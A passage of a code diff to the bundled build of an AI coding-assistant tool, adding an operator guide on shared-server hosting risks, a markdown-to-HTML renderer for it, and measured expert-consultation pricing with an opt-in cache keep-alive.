so an edit would silently vanish on the next save. **Duplicate** is offered\r\ninstead, which is how someone starts from the organisation\'s gateway and points the copy at their\r\nown key.\r\n\r\n`defaultProfileId` applies to anyone who has not chosen. It never overrides a choice, and it is\r\nignored if it names a profile that no longer exists \u2014 so removing one cannot leave every session\r\npointing at nothing.\r\n\r\nA shared profile\'s API key lives in `<data>/shared-secrets.json` rather than in any one user\'s\r\ndirectory, so it survives a user clearing their own secrets. As everywhere here that is storage,\r\nnot secrecy: every session runs as the same account and can read the file.\r\n\r\nThe rule: anything invariant 5 already treats as user-scope-only becomes admin-only, because a\r\nsecond user on a shared box is the same threat as a hostile repository arriving by another door.\r\nAnything unlisted that looks like a settings change (`save\u2026`, `set\u2026`, `delete\u2026`) defaults to\r\n**restricted** \u2014 forgetting to list something should mean "an administrator has to do it", never\r\n"anyone may repoint the gateway".\r\n\r\nA refused message is answered, not dropped: the UI hides these controls, so one arriving is either\r\na stale page or someone poking the API, and both deserve a reason.\r\n\r\n---\r\n\r\n## 1c. Session variables\r\n\r\nValues handed to everything a session runs \u2014 shell commands and Python tools \u2014 as environment\r\nvariables. Set them in the **Variables** tab.\r\n\r\n> **They are not secret.** Everything a session spawns runs as the server\'s own account, so\r\n> another user can have their assistant read them. This answers *whose value applies*, not *who\r\n> can see it*. API keys belong in **Providers**, which stores them separately and never sends\r\n> them back to a page.\r\n\r\n### Two scopes, and the administrator wins\r\n\r\n- **Yours** \u2014 only your sessions see them. Stored in `<data>/users/<hash>/variables.json`.\r\n- **Everyone\'s** \u2014 set by an administrator, applied to every user. Stored in `<data>/shared.json`.\r\n\r\nWhere both set the same name, **the administrator\'s value is used**. A variable set centrally is\r\nset precisely because it has to be the same everywhere \u2014 an internal package index, a proxy, a\r\ncompliance flag \u2014 and a per-user value quietly winning would defeat the only reason to set one.\r\n\r\nThe one that lost is not hidden. Your row says so:\r\n\r\n> **overridden** \u2014 An administrator set `REGISTRY` for everyone, so sessions use\r\n> `https://pypi.internal/simple` and not yours.\r\n\r\nWithout that you would edit a value that could never apply and see no sign of it.\r\n\r\n### Names\r\n\r\nLetters, digits and underscore, not starting with a digit. Anything else is refused as you type\r\nit, because a name a shell cannot set fails by starting a process with a *silently different*\r\nenvironment rather than by erroring.\r\n\r\n### Where they reach\r\n\r\n`execute_command` and Python tools. The Python worker\'s environment stays an allowlist \u2014 the\r\nreason it exists is that a provider API key must never reach model-authored code \u2014 and these are\r\nadded to it, because they are what a human deliberately declared.\r\n\r\nAn edit applies to the **next command**, not the next session; a Python tool picks one up when its\r\nworker next starts.\r\n\r\n---\r\n\r\n## 1d. The review queue\r\n\r\nA Python tool or a skill written by someone who is **not** an administrator is not saved. It goes\r\ninto a queue, the author\'s turn is told so and carries on, and an administrator reads the source\r\nand approves or rejects it in Settings \u2192 **Review**.\r\n\r\nAsynchronous on purpose. The in-chat approval gate assumes the approver is present, which is true\r\nin a chat and false here: the person who may approve is not the person asking. Blocking the turn\r\nwould hang for hours when nobody is at a screen, and forever for a scheduled run.\r\n\r\n### What "queued" means\r\n\r\nNothing is written anywhere the workspace can see it. The bytes live in `<data>/reviews.json`\r\nuntil someone approves them, and only then are they written to `.lightcode/tools/` or\r\n`.lightcode/skills/`. That is \xA713\'s rule used as it stands \u2014 the *registry* is the security\r\nboundary, and a file with no registry entry never loads \u2014 rather than a second mechanism beside it.\r\n\r\nTwo consequences worth knowing:\r\n\r\n- **A rejected submission leaves nothing behind.** There is no half-written file to clean up.\r\n- **An approval writes the bytes that were read**, not whatever is on disk by then.\r\n\r\n### Reviewing\r\n\r\nThe queue shows the full source as a diff against what is there now, with the author, the time,\r\nand \u2014 when a [programming provider](#1b-shared-mode---server--a-usage-guide) wrote it \u2014 which\r\nmodel produced it. Approve is disabled until the source has been opened. That is not a security\r\ncontrol, since anyone can open it and not read it; it is there because approving code you have not\r\nlooked at is the single mistake this queue exists to make harder, and a button needing no step in\r\nbetween is one people press by reflex.\r\n\r\nA rejection takes a reason, and the author sees it. Authors can see their own submissions, which is\r\nhow the reason reaches them \u2014 a queue only administrators could read would leave someone waiting\r\nwithout knowing what for.\r\n\r\nResubmitting the same name **replaces** the pending item rather than adding another. A model told\r\nits work is queued sometimes tries again, and four near-identical copies of one tool means an\r\nadministrator has to diff them to find the current one.\r\n\r\nAn administrator\'s own tools and skills are unaffected: they get the ordinary in-chat prompt, which\r\nis the same mechanism with the approver already at the screen.\r\n\r\n---\r\n\r\n## 2. Multi-user hosting with SSO \u2014 read this first\r\n\r\nIdentity is built. `ProxyHeaderIdentity` reads the user from your proxy\'s header, every store is\r\nkeyed by `Principal.id`, and section 1b is the setup guide. So the question of *who is asking* is\r\nanswered.\r\n\r\n**That was never the hard part.** The hard part is this:\r\n\r\n> Light Code executes shell commands, reads and writes files, and spawns MCP servers. On a\r\n> hosted deployment, all of that runs as **the account the server process runs as** \u2014 not as\r\n> the person who asked for it.\r\n\r\nSSO tells you *who is asking*. It does not change *what their request can do*. So on a\r\nshared server, with the design as it stands:\r\n\r\n- Every user\'s commands run with the same OS privileges as every other user\'s.\r\n- Any user can instruct the agent to read any file the service account can read \u2014\r\n  including another user\'s `secrets.json` under `<data>/users/`, since file permissions\r\n  separate accounts, and here there is only one account.\r\n- Any user can configure an MCP server, which is an arbitrary executable, and it runs as the\r\n  service account.\r\n- The approval gate protects a user from the *model*. It does not protect users from each\r\n  other, because the person approving is the person asking.\r\n\r\nThis is consistent with what Light Code has always claimed \u2014 \xA73 of `CLAUDE.md` says plainly\r\nthat it does not sandbox executed code and does not protect against another process running\r\nas the same user. On one desktop that is a reasonable line. On a shared server it means\r\n**every user is effectively an administrator of every other user\'s data.**\r\n\r\n### What would actually make it safe\r\n\r\nIn rough order of how much they buy you:\r\n\r\n1. **One OS account per user, or one container per session.** This is the real fix and\r\n   nothing else substitutes for it. The server becomes a supervisor that launches a\r\n   per-user worker under that user\'s identity; the worker holds the bridge. On Windows this\r\n   is a service that impersonates the authenticated principal, or a container per session.\r\n2. **Workspace confinement per principal**, so a user\'s tools are rooted in their own tree\r\n   rather than a shared one.\r\n3. **Deny MCP configuration to ordinary users**, or restrict it to an operator-managed\r\n   allowlist. It is arbitrary code execution by design.\r\n4. **Disable the Claude CLI expert and `execute_command` by policy** unless 1 is done.\r\n\r\nNone of those are built. Until at least (1) is, a hosted deployment is safe only where\r\n**every user is already trusted with everything every other user can reach** \u2014 for\r\ninstance, one small team sharing a service account they all already have.\r\n\r\n### If you deploy it anyway\r\n\r\nBecause "one team who all trust each other" is a real situation. Section 1b is the how; this is\r\nthe shortlist of things not to skip:\r\n\r\n- Put it behind a proxy that terminates authentication, sets the user header, and **strips any\r\n  inbound copy of it**.\r\n- Send the immutable directory identifier as the id, never the username or email \u2014 both get\r\n  reassigned to a different person when someone leaves.\r\n- Bind the server to loopback and let the proxy be the only thing that reaches it.\r\n- **Restrict `/admin` at the proxy.** Light Code does not guard it.\r\n- Terminate TLS at the proxy. The `Host` allowlist needs the proxy\'s public authority added.\r\n- Run the service account with the least privilege that still works, and keep its home\r\n  directory off any share.\r\n- Tell your users plainly that their sessions are not isolated from one another.\r\n';
+
+// src/guideHtml.ts
+function escapeHtml(text) {
+  return text.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;");
+}
+function renderInline(text) {
+  const escaped = escapeHtml(text);
+  const codeSpans = [];
+  const withPlaceholders = escaped.replace(/`([^`]+)`/g, (_match, code) => {
+    codeSpans.push(code);
+    return `\x91${String(codeSpans.length - 1)}\x91`;
+  });
+  const formatted = withPlaceholders.replace(/\*\*([^*]+)\*\*/g, "<strong>$1</strong>").replace(/\*([^*]+)\*/g, "<em>$1</em>").replace(/\[([^\]]+)\]\((https?:\/\/[^)\s]+)\)/g, '<a href="$2" rel="noopener noreferrer">$1</a>');
+  return formatted.replace(/‘(\d+)‘/g, (_match, index) => `<code>${codeSpans[Number(index)] ?? ""}</code>`);
+}
+function renderTable(rows) {
+  const [header, , ...body] = rows;
+  const head = header === void 0 ? "" : `<thead><tr>${header.cells.map((cell) => `<th>${renderInline(cell)}</th>`).join("")}</tr></thead>`;
+  const rest = body.map((row) => `<tr>${row.cells.map((cell) => `<td>${renderInline(cell)}</td>`).join("")}</tr>`).join("");
+  return `<div class="scroll-x"><table>${head}<tbody>${rest}</tbody></table></div>`;
+}
+var cellsOf = (line) => line.replace(/^\||\|$/g, "").split("|").map((cell) => cell.trim());
+function markdownToHtml(markdown) {
+  const lines = markdown.split(/\r?\n/);
+  const out = [];
+  let index = 0;
+  while (index < lines.length) {
+    const line = lines[index] ?? "";
+    if (line.startsWith("```")) {
+      const body2 = [];
+      index++;
+      while (index < lines.length && !(lines[index] ?? "").startsWith("```")) {
+        body2.push(lines[index] ?? "");
+        index++;
+      }
+      index++;
+      out.push(`<pre><code>${escapeHtml(body2.join("\n"))}</code></pre>`);
+      continue;
+    }
+    const heading = /^(#{1,6}) (.*)$/.exec(line);
+    if (heading !== null) {
+      const level = (heading[1] ?? "#").length;
+      const text = heading[2] ?? "";
+      const id = text.toLowerCase().replace(/[^a-z0-9]+/g, "-").replace(/^-|-$/g, "");
+      out.push(`<h${String(level)} id="${id}">${renderInline(text)}</h${String(level)}>`);
+      index++;
+      continue;
+    }
+    if (/^---+\s*$/.test(line)) {
+      out.push("<hr />");
+      index++;
+      continue;
+    }
+    if (line.startsWith("|")) {
+      const rows = [];
+      while (index < lines.length && (lines[index] ?? "").startsWith("|")) {
+        rows.push({ cells: cellsOf(lines[index] ?? "") });
+        index++;
+      }
+      out.push(renderTable(rows));
+      continue;
+    }
+    if (line.startsWith("> ")) {
+      const body2 = [];
+      while (index < lines.length && (lines[index] ?? "").startsWith(">")) {
+        body2.push((lines[index] ?? "").replace(/^>\s?/, ""));
+        index++;
+      }
+      out.push(`<blockquote>${renderInline(body2.join(" "))}</blockquote>`);
+      continue;
+    }
+    const bullet = /^\s*[-*] (.*)$/.exec(line);
+    if (bullet !== null) {
+      const items = [];
+      while (index < lines.length) {
+        const current = lines[index] ?? "";
+        const match = /^\s*[-*] (.*)$/.exec(current);
+        if (match !== null) {
+          items.push(match[1] ?? "");
+          index++;
+          continue;
+        }
+        if (/^\s+\S/.test(current) && items.length > 0) {
+          items[items.length - 1] = `${items[items.length - 1] ?? ""} ${current.trim()}`;
+          index++;
+          continue;
+        }
+        break;
+      }
+      out.push(`<ul>${items.map((item) => `<li>${renderInline(item)}</li>`).join("")}</ul>`);
+      continue;
+    }
+    const ordered = /^\s*\d+\. (.*)$/.exec(line);
+    if (ordered !== null) {
+      const items = [];
+      while (index < lines.length) {
+        const current = lines[index] ?? "";
+        const match = /^\s*\d+\. (.*)$/.exec(current);
+        if (match !== null) {
+          items.push(match[1] ?? "");
+          index++;
+          continue;
+        }
+        if (/^\s+\S/.test(current) && items.length > 0) {
+          items[items.length - 1] = `${items[items.length - 1] ?? ""} ${current.trim()}`;
+          index++;
+          continue;
+        }
+        break;
+      }
+      out.push(`<ol>${items.map((item) => `<li>${renderInline(item)}</li>`).join("")}</ol>`);
+      continue;
+    }
+    if (line.trim().length === 0) {
+      index++;
+      continue;
+    }
+    const body = [];
+    while (index < lines.length) {
+      const current = lines[index] ?? "";
+      if (current.trim().length === 0 || current.startsWith("```") || current.startsWith("|") || current.startsWith(">") || /^#{1,6} /.test(current) || /^---+\s*$/.test(current) || /^\s*[-*] /.test(current) || /^\s*\d+\. /.test(current)) {
+        break;
+      }
+      body.push(current);
+      index++;
+    }
+    out.push(`<p>${renderInline(body.join(" "))}</p>`);
+  }
+  return out.join("\n");
+}
+function guidePage(markdown) {
+  return `<!doctype html>
+<html lang="en">
+<head>
+<meta charset="utf-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Light Code \u2014 operator guide</title>
+<style>
+  :root {
+    --ground: #fbfbf9; --surface: #f3f5f2; --ink: #16201a; --soft: #4a564e;
+    --faint: #78837b; --rule: #dde1dc; --accent: #2f7d4f; --alert: #a8331d;
+  }
+  @media (prefers-color-scheme: dark) {
+    :root {
+      --ground: #12150f; --surface: #1c211d; --ink: #e6eae4; --soft: #a8b2a8;
+      --faint: #7d867e; --rule: #2b322b; --accent: #57b47f; --alert: #e0836c;
+    }
+  }
+  * { box-sizing: border-box; }
+  body {
+    background: var(--ground); color: var(--ink); margin: 0;
+    padding: 0 24px 80px;
+    font: 16px/1.6 ui-serif, Charter, Georgia, serif;
+    -webkit-font-smoothing: antialiased;
+  }
+  main { max-width: 820px; margin: 0 auto; }
+  h1, h2, h3, h4 {
+    font-family: system-ui, -apple-system, "Segoe UI", sans-serif;
+    line-height: 1.2; text-wrap: balance; margin: 1.8em 0 0.4em;
+  }
+  h1 { font-size: 2.1rem; letter-spacing: -0.02em; margin-top: 1.2em; }
+  h2 { font-size: 1.5rem; letter-spacing: -0.015em; padding-top: 0.6em; border-top: 1px solid var(--rule); }
+  h3 { font-size: 1.1rem; }
+  p, li { max-width: 68ch; }
+  a { color: var(--accent); }
+  code {
+    font: 0.86em ui-monospace, "Cascadia Code", Consolas, monospace;
+    background: var(--surface); border: 1px solid var(--rule); border-radius: 3px; padding: 0.1em 0.32em;
+  }
+  pre {
+    background: var(--surface); border: 1px solid var(--rule); border-left: 3px solid var(--accent);
+    border-radius: 4px; padding: 14px 16px; overflow-x: auto;
+    font: 13px/1.65 ui-monospace, "Cascadia Code", Consolas, monospace;
+  }
+  pre code { background: none; border: 0; padding: 0; font-size: inherit; }
+  blockquote {
+    margin: 1.2em 0; padding: 12px 16px; border-left: 3px solid var(--alert);
+    background: var(--surface); border-radius: 0 4px 4px 0; color: var(--ink);
+  }
+  blockquote p { margin: 0; }
+  .scroll-x { overflow-x: auto; margin: 1.2em 0; }
+  table { border-collapse: collapse; width: 100%; font: 14px/1.5 system-ui, sans-serif; }
+  th, td { text-align: left; vertical-align: top; padding: 9px 14px 9px 0; border-bottom: 1px solid var(--rule); }
+  th { color: var(--faint); font-size: 12px; text-transform: uppercase; letter-spacing: 0.08em; font-weight: 500; }
+  hr { border: 0; border-top: 1px solid var(--rule); margin: 2.4em 0; }
+  ul, ol { padding-left: 22px; }
+  li { margin: 0.4em 0; }
+</style>
+</head>
+<body><main>
+${markdownToHtml(markdown)}
+</main></body>
+</html>
+`;
+}
 
 // src/guideText.ts
 function renderGuide(colour, source = OPERATOR_GUIDE) {
@@ -49728,7 +49925,45 @@ var expertConfigSchema = external_exports.object({
    * The backstop for when the CLI reports no cost — a spend limit cannot count what it is
    * not told the price of, and an unpriced consultation still costs money.
    */
-  maxConsultations: external_exports.number().int().min(0)
+  maxConsultations: external_exports.number().int().min(0),
+  /**
+   * Whether this plan reports a per-consultation cost.
+   *
+   * Learned rather than configured, and learned from real consultations rather than from a
+   * probe — asking the CLI "do you report cost?" means making a call, and the first call in a
+   * session is the expensive one. So it is recorded the first time a consultation comes back
+   * with or without `total_cost_usd`.
+   *
+   * Absent means not yet known. It matters because a spend cap cannot bind on a plan that
+   * reports no cost: `usd` stays zero, the limit is never reached, and the only control that
+   * actually holds is the consultation count. A cap that silently never fires is worse than no
+   * cap, because it is believed.
+   */
+  reportsCost: external_exports.boolean(),
+  /**
+   * Refresh the expert's cache while a task is open, rather than paying a cold start later.
+   *
+   * The cache is one hour and that TTL is Anthropic's, not ours. A trivial resumed consultation
+   * before it lapses costs about a fiftieth of the cold start it avoids.
+   *
+   * Off by default, and it must stay that way: it spends with nobody at the screen, which is
+   * the one property this product is careful about everywhere else. Its cost is counted in the
+   * meter like anything else.
+   */
+  keepAlive: external_exports.boolean(),
+  /**
+   * What a consultation costs on this plan, measured rather than assumed.
+   *
+   * The published figures came from one plan on one day. An enterprise agreement, a
+   * subscription or a gateway can each report something different — and those numbers are what
+   * the budget is set from and what the expert is told when it plans to fit.
+   */
+  pricing: external_exports.object({
+    coldUsd: external_exports.number().min(0).optional(),
+    resumedUsd: external_exports.number().min(0).optional(),
+    measuredAt: external_exports.number(),
+    reportsCost: external_exports.boolean()
+  })
 }).partial();
 var vectorStoreKindSchema = external_exports.enum(["opensearch", "qdrant", "chroma"]);
 var vectorStoreSchema = external_exports.object({
@@ -50093,6 +50328,21 @@ function describeSubmission(request) {
   ].join("\n");
 }
 
+// ../../packages/core/dist/expert/pricing.js
+var PRICING_PROBE = "Reply with the single word: OK";
+function pricingForPrompt(pricing) {
+  if (pricing === void 0 || !pricing.reportsCost)
+    return void 0;
+  const cold = pricing.coldUsd;
+  const resumed = pricing.resumedUsd;
+  if (cold === void 0 || resumed === void 0)
+    return void 0;
+  return `Measured on this deployment: the first consultation of a task costs about ${money(cold)}, and each one after it about ${money(resumed)} because it resumes the same session. Plan accordingly \u2014 make the first one carry the task, and do not repeat context afterwards.`;
+}
+function money(value) {
+  return value >= 0.01 ? `$${value.toFixed(2)}` : `$${value.toFixed(4)}`;
+}
+
 // ../../packages/core/dist/guide/steps.js
 var GUIDE_STEPS = [
   {
@@ -52918,7 +53168,7 @@ function buildExpertBriefing(input) {
 }
 
 // ../../packages/core/dist/expert/budget.js
-function money(value) {
+function money2(value) {
   return `$${value.toFixed(value < 1 ? 4 : 2)}`;
 }
 function checkExpertBudget(spend, limits) {
@@ -52933,7 +53183,7 @@ function checkExpertBudget(spend, limits) {
   if (maxSpend > 0 && spend.usd >= maxSpend) {
     return {
       allowed: false,
-      message: `The expert spending limit for this task has been reached (${money(spend.usd)} of ${money(maxSpend)}). Continue on your own: use what the expert has already told you, read the code directly, and say plainly if you are stuck rather than guessing. The user can raise the limit in Settings \u2192 Expert, or start a new task to reset it.` + (spend.unpriced > 0 ? ` Note ${String(spend.unpriced)} consultation${spend.unpriced === 1 ? "" : "s"} reported no cost, so the real total is higher than the figure above.` : "")
+      message: `The expert spending limit for this task has been reached (${money2(spend.usd)} of ${money2(maxSpend)}). Continue on your own: use what the expert has already told you, read the code directly, and say plainly if you are stuck rather than guessing. The user can raise the limit in Settings \u2192 Expert, or start a new task to reset it.` + (spend.unpriced > 0 ? ` Note ${String(spend.unpriced)} consultation${spend.unpriced === 1 ? "" : "s"} reported no cost, so the real total is higher than the figure above.` : "")
     };
   }
   return { allowed: true };
@@ -52950,7 +53200,7 @@ function expertBudgetUsage(spend, limits) {
     return void 0;
   return Math.min(1, Math.max(...fractions));
 }
-function describeExpertBudget(spend, limits) {
+function describeExpertBudget(spend, limits, pricing) {
   const parts = [];
   const maxConsultations = limits.maxConsultations ?? 0;
   if (maxConsultations > 0) {
@@ -52959,11 +53209,14 @@ function describeExpertBudget(spend, limits) {
   }
   const maxSpend = limits.maxSpendUsd ?? 0;
   if (maxSpend > 0) {
-    parts.push(`${money(Math.max(0, maxSpend - spend.usd))} of ${money(maxSpend)} left`);
+    parts.push(`${money2(Math.max(0, maxSpend - spend.usd))} of ${money2(maxSpend)} left`);
   }
   if (parts.length === 0)
-    return void 0;
-  return `Budget for this task: ${parts.join(", ")}. Plan the number of checkpoints to fit \u2014 when it runs out the junior finishes alone.`;
+    return pricing;
+  return [
+    `Budget for this task: ${parts.join(", ")}. Plan the number of checkpoints to fit \u2014 when it runs out the junior finishes alone.`,
+    pricing
+  ].filter((line) => line !== void 0).join(" ");
 }
 
 // ../../packages/core/dist/rag/vectorStore.js
@@ -55249,14 +55502,14 @@ function formatBytes(size) {
     return `${(size / (1 << 10)).toFixed(1)}KB`;
   return `${String(size)}B`;
 }
-async function readTail(fs23, path29, size, count) {
+async function readTail(fs24, path29, size, count) {
   let span = Math.min(size, CHUNK);
   let text;
   let start;
   for (; ; ) {
     start = Math.max(0, size - span);
     const decoder = new StringDecoder("utf8");
-    text = decoder.write(await fs23.readBytesSlice(path29, start, size)) + decoder.end();
+    text = decoder.write(await fs24.readBytesSlice(path29, start, size)) + decoder.end();
     const enough = text.split("\n").length > count;
     if (enough || start === 0 || span >= size)
       break;
@@ -55274,7 +55527,7 @@ async function readTail(fs23, path29, size, count) {
     hasMoreAfter: false
   };
 }
-async function readLineWindow(fs23, path29, size, from, count) {
+async function readLineWindow(fs24, path29, size, from, count) {
   const decoder = new StringDecoder("utf8");
   const lines = [];
   let pending = "";
@@ -55289,7 +55542,7 @@ async function readLineWindow(fs23, path29, size, from, count) {
   };
   scan: while (position < size) {
     const end = Math.min(size, position + CHUNK);
-    pending += decoder.write(await fs23.readBytesSlice(path29, position, end));
+    pending += decoder.write(await fs24.readBytesSlice(path29, position, end));
     position = end;
     const parts = pending.split(/\r\n|\r|\n/);
     pending = parts.pop() ?? "";
@@ -55312,13 +55565,13 @@ async function readLineWindow(fs23, path29, size, from, count) {
     hasMoreAfter: !reachedEnd || lineNumber > from + lines.length
   };
 }
-async function countLines(fs23, path29, size) {
+async function countLines(fs24, path29, size) {
   let newlines = 0;
   let position = 0;
   let lastByte = -1;
   while (position < size) {
     const end = Math.min(size, position + CHUNK);
-    const buffer = await fs23.readBytesSlice(path29, position, end);
+    const buffer = await fs24.readBytesSlice(path29, position, end);
     for (const byte of buffer)
       if (byte === 10)
         newlines += 1;
@@ -63611,11 +63864,12 @@ function wireChatBridge(services) {
   }
   const pendingPathApprovals = /* @__PURE__ */ new Map();
   const searchLog = new SearchLog(50, () => post({ type: "searchLog", entries: [...searchLog.list()] }));
-  let expertSpend = { usd: 0, consultations: 0, unpriced: 0 };
+  let expertSpend = { usd: 0, consultations: 0, unpriced: 0, keepAlives: 0 };
   let expertSessionId;
   function resetExpertSpend() {
-    expertSpend = { usd: 0, consultations: 0, unpriced: 0 };
+    expertSpend = { usd: 0, consultations: 0, unpriced: 0, keepAlives: 0 };
     expertSessionId = void 0;
+    stopKeepAlive();
     taskExpertLimits = void 0;
     taskExpertEstimate = void 0;
     postExpertSpend();
@@ -63641,9 +63895,24 @@ function wireChatBridge(services) {
     else
       expertSpend.unpriced += 1;
     postExpertSpend();
+    if (info.isError)
+      return;
+    const learned = info.costUsd !== void 0;
+    if (cachedReportsCost === learned)
+      return;
+    cachedReportsCost = learned;
+    void configManager.load().then(async ({ config: config2 }) => {
+      await configManager.save("user", { ...config2, expert: { ...config2.expert, reportsCost: learned } });
+      await postExpert();
+    }).catch(() => {
+    });
   }
   let cachedModeId;
   let cachedCodeGenerator;
+  let cachedReportsCost;
+  let measuringStep;
+  let cachedPricing;
+  let cachedKeepAlive = false;
   let cachedProgrammingProfileId;
   async function loadSettings() {
     const { config: config2 } = await configManager.load();
@@ -63655,6 +63924,11 @@ function wireChatBridge(services) {
     cachedAccentColor = config2.ui?.accentColor ?? "#22C55E";
     cachedExpertColor = config2.ui?.expertColor ?? "#D97757";
     cachedAssessment = config2.expert?.assessment;
+    cachedReportsCost = config2.expert?.reportsCost;
+    cachedPricing = config2.expert?.pricing;
+    cachedKeepAlive = config2.expert?.keepAlive === true;
+    if (!cachedKeepAlive)
+      stopKeepAlive();
     cachedExpertLimits = {
       ...config2.expert?.maxSpendUsd !== void 0 ? { maxSpendUsd: config2.expert.maxSpendUsd } : {},
       ...config2.expert?.maxConsultations !== void 0 ? { maxConsultations: config2.expert.maxConsultations } : {}
@@ -63677,12 +63951,13 @@ function wireChatBridge(services) {
       expertColor: cachedExpertColor,
       readRoots: cachedReadRoots,
       ...cachedProgrammingProfileId !== void 0 ? { programmingProfileId: cachedProgrammingProfileId } : {},
-      ...guideCapability()
+      ...hostCapabilities()
     });
   }
-  function guideCapability() {
+  function hostCapabilities() {
     return {
       nativeGuide: ui.openWalkthrough !== void 0,
+      allowProgrammingProfile: services.allowProgrammingProfile === true,
       ...services.guideMediaBase !== void 0 ? { guideMediaBase: services.guideMediaBase } : {}
     };
   }
@@ -63792,7 +64067,11 @@ function wireChatBridge(services) {
         // Read at call time, not captured: the user can raise the limit mid-task and the very
         // next consultation should honour it, without starting a new task to pick it up.
         budget: () => checkExpertBudget(expertSpend, effectiveExpertLimits()),
-        budgetSummary: () => describeExpertBudget(expertSpend, effectiveExpertLimits()),
+        /*
+         * The measured cost goes with the budget, so the expert plans in this deployment's
+         * units rather than from what it believes consultations cost in general.
+         */
+        budgetSummary: () => describeExpertBudget(expertSpend, effectiveExpertLimits(), pricingForPrompt(cachedPricing)),
         onEstimate: (estimate) => {
           taskExpertEstimate = estimate;
           postExpertSpend();
@@ -63801,6 +64080,8 @@ function wireChatBridge(services) {
           get: () => expertSessionId,
           set: (sessionId) => {
             expertSessionId = sessionId;
+            if (sessionId !== void 0 && cachedKeepAlive)
+              ensureKeepAlive();
           }
         },
         /*
@@ -64368,18 +64649,29 @@ function wireChatBridge(services) {
       logger.warn(`could not check the expert CLI: ${reason}`);
       const settings = await configManager.load().then((loaded) => loaded.config.expert, () => void 0);
       post({
-        type: "expert",
-        enabled: settings?.enabled === true,
+        ...expertMessageFrom(settings),
         available: false,
         path: settings?.path ?? expertCliPath ?? "claude",
-        reason: `Could not check whether the Claude CLI is available: ${reason}`,
-        ...settings?.model !== void 0 ? { model: settings.model } : {},
-        maxSpendUsd: settings?.maxSpendUsd ?? 0,
-        maxConsultations: settings?.maxConsultations ?? 0,
-        ...settings?.assessment !== void 0 ? { assessment: settings.assessment } : {}
+        reason: `Could not check whether the Claude CLI is available: ${reason}`
       });
     }
   }
+  function expertMessageFrom(settings) {
+    return {
+      type: "expert",
+      enabled: settings?.enabled === true,
+      available: false,
+      path: settings?.path ?? expertCliPath ?? "claude",
+      maxSpendUsd: settings?.maxSpendUsd ?? 0,
+      maxConsultations: settings?.maxConsultations ?? 0,
+      keepAlive: settings?.keepAlive === true,
+      ...settings?.model !== void 0 ? { model: settings.model } : {},
+      ...settings?.assessment !== void 0 ? { assessment: settings.assessment } : {},
+      ...settings?.reportsCost !== void 0 ? { reportsCost: settings.reportsCost } : {},
+      ...settings?.pricing !== void 0 ? { pricing: settings.pricing } : {},
+      ...measuringStep !== void 0 ? { measuringStep } : {}
+    };
+  }
   async function postExpertInner(redetect) {
     const { config: config2 } = await configManager.load();
     const configured = config2.expert?.path ?? "claude";
@@ -64387,19 +64679,125 @@ function wireChatBridge(services) {
     expertCli = detected;
     expertCliPath = configured;
     post({
-      type: "expert",
-      enabled: config2.expert?.enabled === true,
+      // Everything from settings comes from one place, so the two paths cannot drift again.
+      ...expertMessageFrom(config2.expert),
       available: detected.available,
       path: configured,
       ...detected.version !== void 0 ? { version: detected.version } : {},
       ...detected.reason !== void 0 ? { reason: detected.reason } : {},
-      ...config2.expert?.model !== void 0 ? { model: config2.expert.model } : {},
-      maxSpendUsd: config2.expert?.maxSpendUsd ?? 0,
-      maxConsultations: config2.expert?.maxConsultations ?? 0,
-      ...config2.expert?.assessment !== void 0 ? { assessment: config2.expert.assessment } : {},
       ...assessmentStep === void 0 ? {} : { assessing: true, assessmentStep }
     });
   }
+  const KEEP_ALIVE_MS = 50 * 60 * 1e3;
+  let keepAliveTimer;
+  function stopKeepAlive() {
+    if (keepAliveTimer === void 0)
+      return;
+    clearInterval(keepAliveTimer);
+    keepAliveTimer = void 0;
+  }
+  function ensureKeepAlive() {
+    if (keepAliveTimer !== void 0)
+      return;
+    keepAliveTimer = setInterval(() => {
+      void runKeepAlive();
+    }, KEEP_ALIVE_MS);
+    keepAliveTimer.unref?.();
+  }
+  async function runKeepAlive() {
+    const session = expertSessionId;
+    if (session === void 0) {
+      stopKeepAlive();
+      return;
+    }
+    try {
+      const { config: config2 } = await configManager.load();
+      if (config2.expert?.keepAlive !== true) {
+        stopKeepAlive();
+        return;
+      }
+      const verdict = checkExpertBudget(expertSpend, effectiveExpertLimits());
+      if (!verdict.allowed) {
+        logger.info("expert keep-alive stopped: the budget for this task is spent");
+        stopKeepAlive();
+        return;
+      }
+      const cli = await resolveExpert(config2);
+      if (cli === void 0) {
+        stopKeepAlive();
+        return;
+      }
+      const answer = await consultExpert(cli, {
+        question: PRICING_PROBE,
+        cwd: workspaceRoot ?? process.cwd(),
+        ...config2.expert?.model !== void 0 ? { model: config2.expert.model } : {},
+        resumeSessionId: session
+      }, logger);
+      expertSpend.keepAlives += 1;
+      if (answer.costUsd !== void 0)
+        expertSpend.usd += answer.costUsd;
+      if (answer.sessionId !== void 0)
+        expertSessionId = answer.sessionId;
+      postExpertSpend();
+      logger.info("expert keep-alive refreshed the session cache");
+    } catch (error51) {
+      logger.warn(`expert keep-alive failed: ${String(error51)}`);
+    }
+  }
+  async function handleMeasureExpertCost() {
+    if (measuringStep !== void 0) {
+      post({ type: "error", message: `Already measuring \u2014 ${measuringStep}` });
+      return;
+    }
+    measuringStep = "Starting\u2026";
+    logger.info("measuring what an expert consultation costs");
+    await postExpert({ redetect: false });
+    try {
+      const { config: config2 } = await configManager.load();
+      const cli = await resolveExpert(config2);
+      if (cli === void 0) {
+        post({
+          type: "error",
+          message: "The Claude CLI could not be found, so there is nothing to measure. Check the path in this tab."
+        });
+        return;
+      }
+      let sessionId;
+      const samples = [];
+      for (const [index, label] of ["first consultation", "follow-up in the same session"].entries()) {
+        measuringStep = `Measuring the ${label} (${String(index + 1)}/2)\u2026`;
+        await postExpert({ redetect: false });
+        const answer = await consultExpert(cli, {
+          question: PRICING_PROBE,
+          cwd: workspaceRoot ?? process.cwd(),
+          ...config2.expert?.model !== void 0 ? { model: config2.expert.model } : {},
+          // Cold on the first pass, resumed on the second. That pair is the measurement.
+          ...sessionId !== void 0 ? { resumeSessionId: sessionId } : {}
+        }, logger);
+        samples.push(answer.costUsd);
+        sessionId = answer.sessionId ?? sessionId;
+      }
+      const [cold, resumed] = samples;
+      const reportsCost = cold !== void 0 || resumed !== void 0;
+      const pricing = {
+        measuredAt: Date.now(),
+        reportsCost,
+        ...cold !== void 0 ? { coldUsd: cold } : {},
+        ...resumed !== void 0 ? { resumedUsd: resumed } : {}
+      };
+      const { config: current } = await configManager.load();
+      await configManager.save("user", {
+        ...current,
